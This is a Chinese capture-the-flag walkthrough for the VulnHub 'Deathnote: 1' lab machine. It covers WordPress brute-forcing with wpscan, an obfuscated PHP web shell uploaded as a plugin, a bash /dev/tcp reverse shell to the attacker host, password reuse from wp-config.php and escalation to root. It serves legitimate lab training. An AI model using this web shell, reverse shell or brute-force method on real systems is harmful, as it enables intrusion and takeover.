环境说明
虚拟机软件:VirtualBox
靶场: Deathnote: 1
攻击机Kali:
192.168.56.3靶机:
192.168.56.18虚拟机模式:仅主机,攻击机靶机同一网段
下载链接:https://download.vulnhub.com/deathnote/Deathnote.ova
作者: HWKDS
难度:简单
主机探测与服务发现
arp-scan --local来一波,发现目标主机IP地址是192.168.56.20

nmap -sV -sC -p- 192.168.56.20扫一下端口,发现只开放了22和80端口

Web服务探测与漏洞利用
- 简单curl一下,会跳到
http://deathnote.vuln/wordpress

- 先改一下hosts,
echo "192.168.56.20 deathnote.vuln" >> /etc/hosts
好家伙,花里胡哨,看页面特征是wordpress。

- 简单扫一下目录,
gobuster dir -u http://192.168.56.20 -w /usr/share/seclists/Discovery/Web-Content/common.txt -x txt,yml,php,old,bak
有 robots.txt文件

- 看一下 robots.txt文件内容, 说在网站根目录有个提示文件叫做important.jpg

- 下载并看一下呢,
wget http://192.168.56.20/important.jpg
通过binwalk important.jpg发现没有内容

使用exiftool important.jpg 看一下文件信息,发现就是个txt文件

- 看一下内容呢,两个关键信息:
- 登录用户名 user.txt,尚不清楚是这串字符串本身,还是user这个文件
- 登录密码不知道,需要我们找。不过网站上有提示。

- 先用wpscan扫一下有没有可直接利用的漏洞,
wpscan --url http://192.168.56.20/wordpress/ -t 30,两条重要的点:
- 第一个是uploads目录开放;
- 第二条是xmlrpc可用,暴破更爽。

-
查看一下
http://192.168.56.20/wordpress/wp-content/uploads/目录,
user.txt

notes.txt,看样子像是密码字典。

-
直接使用 wpscan自带的暴破模块进行,
wpscan --url http://deathnote.vuln/wordpress/ -U user.txt -P notes.txt --password-attack xmlrpc没有结果
-
现在我们回到之前的hint这一条线索,我们还没看。

其中第一个提示我们得到了,第二个提示是需要看L的留言,他的留言是
my fav line is iamjustic3,将iamjustic3 和iamjustice 加入到notes.txt中作为候选密码,重新暴破一下
-
发现用户名和密码
kira/iamjustic3,用户名小写无所谓
-
然后访问后台
http://deathnote.vuln/wordpress/wp-login.php进行登录点击登录后发现需要发送一个管理员的认证邮件,直接点击The email is correct即可

-
这样我们就进入了管理后台

-
我们这里通过上传插件的方式部署我们的恶意代码,首先准备好shell文件
php
<?php
$func = 'syst'.'em';
if (isset($_GET['cmd'])) {
$func($_GET['cmd']);
}
echo "ok";
?>
- 打成压缩包,
zip shell.zip shell.php

- 根据下图步骤将shell.zip上传。

页面提示上传成功后,不需要点击激活

- 测试是否成功,
http://deathnote.vuln/wordpress/wp-content/plugins/shell/shell.php?cmd=id。完美

- 接下来就是常规的反弹shell了,详细步骤省略,链接格式可参考下列内容:
url
http://deathnote.vuln/wordpress/wp-content/plugins/shell/shell.php?cmd=bash -c 'bash -i >%26 /dev/tcp/192.168.56.3/6666 0>%261'
主要是注意原始的**&**使用URL编码一下

提权
-
经过一系列查找,确定普通用户flag在家目录的 l目录下。根据字符串特征推断是Brainfuck

-
可以去在线网站上解一下

-
简单使用一下 sudu -l发现需要密码,接下来进wordpress源码目录看一下配置
cat deathnote.vuln/wordpress/wp-config.php发现数据库的用户名和密码,这里的用户l跟家目录一样,下一步尝试一下密码复用
-
使用
su l切换到 l 用户,并输入 密码death4me,猜测正确。
-
不过当前用户依然没有权限看 kira.txt文件

且 sudo -l 没有东西

-
通过
find / -type f -perm -4000 2>/dev/null和find / -type f -perm -2000 2>/dev/null均没有可直接利用的东西
-
之后又尝试了web密码复用,定时任务,内核漏洞等都以失败告终,直接上linpeas.sh扫一波先.最后将结果扔给AI分析一下

根据AI的提示,执行
ssh kira@127.0.0.1 -i /home/l/.ssh/id_rsa成功登录 kira用户.
不过 kira.txt是一串貌似base64编码的内容。

-
解码发现提示信息, 有两个需要关注的目录,/opt和/var

-
看看这两个目录有啥,有两个信息,一个L目录,另一个 misa文件

-
misa就一句话,L目录下还有两个目录

-
接着往下看目录,/opt/L/fake-notebook-rule目录有个wav文件(大概率是解题关键),和hint 提示文件,
/opt/L/kira-case目录则是有case-file.txt文件。

-
接下来继续看文件内容,所有的线索指向了之前的wav文件。

-
于是先将其scp到kali中,然后strings case.wav,分析一下字符串信息。直接是十六进制串

14.根据hint提示使用CyberChef 流程:
- From Hex(去掉空格)
原始无空格串:6347467a6333646b49446f6761326c7959576c7a5a585a706243413d - 将十六进制转为base64:
Y0dGemMzZGtJRG9nYTJseVlXbHpaWFpwYkNBPQ== - base64解码得到:
cGFzc3dkIDoga2lyYWlzZXZpbCA= - 再解码得到:
passwd : kiraisevil
- From Hex(去掉空格)
-
通过之前 linpeas得到的情报,kira在sudo组中,因此可以将得到的密码喂给
sudo -i,就会切换到root用户

